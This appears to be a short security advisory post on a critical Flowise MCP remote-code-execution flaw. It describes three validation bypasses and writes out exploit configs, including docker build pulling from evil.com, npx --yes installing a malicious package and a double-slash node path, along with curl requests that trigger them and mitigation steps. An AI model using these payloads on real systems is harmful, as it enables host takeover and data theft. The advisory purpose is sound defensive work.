Listen to this Post
How the mentioned CVE works (three bypass methods):
The vulnerability allows attackers to execute arbitrary commands by bypassing Flowise MCP security restrictions. First, Docker `build` subcommand is not blocked by `validateCommandFlags` (only blocks `run/exec/-v` etc.). Attacker sends `{“command”:”docker”,”args”:[“build”,”https://evil.com/”]}` via MCP tool. Docker pulls remote Dockerfile and executes `RUN` instructions, enabling container escape and host takeover. Second, `npx` blocklist only blocks short `-y` but not long alias --yes. Attacker uses `{“command”:”npx”,”args”:[“–yes”,”malicious-package”]}` to automatically install and run any npm package, achieving RCE. Third, `validateArgsForLocalFileAccess` uses regex `/^\/[^/]/` to block Unix absolute paths, but fails on `//etc/passwd` (double slash). Attacker uploads malicious `.js` file via chatflow, obtains absolute path using export-import APIs, then configures {"command":"node","args":["//root/.flowise/storage/.../cmd.js"]}. Node executes local file, leading to RCE. All methods require valid Flowise account or API key, and host must have docker/npx/node commands.
dailycve form:
Platform: Flowise (self-hosted)
Version: All vulnerable versions
Vulnerability: Multiple RCE bypasses
Severity: Critical
Date: 2026-03-04
Prediction: Expected April 2026
What Undercode Say:
Docker build bypass
curl -X POST http://127.0.0.1:3000/api/v1/prediction/{chatflows_id} \
-H "Authorization: Bearer apikey" -H "Content-Type: application/json" \
-d '{"question":"1"}' &
MCP config: {"command":"docker","args":["build","https://evil.com/Dockerfile"]}
npx --yes bypass
Tar file index.js: execSync('id && hostname')
curl -X POST http://127.0.0.1:3000/api/v1/prediction/{chatflows_id} \
-H "Authorization: Bearer apikey" -d '{"question":"1"}'
Node // bypass
Upload cmd.js, get absolute path via /api/v1/export-import/import
curl -X POST http://127.0.0.1:3000/api/v1/prediction/{chatflows_id} \
-H "Authorization: Bearer apikey" -d '{"question":"1"}'
Exploit:
1. Authenticate to Flowise (any role).
- Add Custom MCP Server via UI or API with malicious command/args.
3. Send any question to `/api/v1/prediction/{chatflows_id}`.
- Triggered command executes: docker build pulls evil Dockerfile, npx installs malicious npm package, or node runs local .js file.
Protection from this CVE:
- Block
docker build,npx --yes, and double-slash paths in `validateCommandFlags` andvalidateArgsForLocalFileAccess. - Update Flowise to patched version (when available).
- Run Flowise without docker/npx/node commands in PATH, or use restrictive AppArmor/SELinux.
- Remove unused MCP features or enforce strict allowlists for commands/args.
Impact:
Full remote code execution on Flowise host machine. Attacker can steal data, install backdoors, pivot internally, or compromise entire infrastructure. Privileged Docker containers allow host escape and root access.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
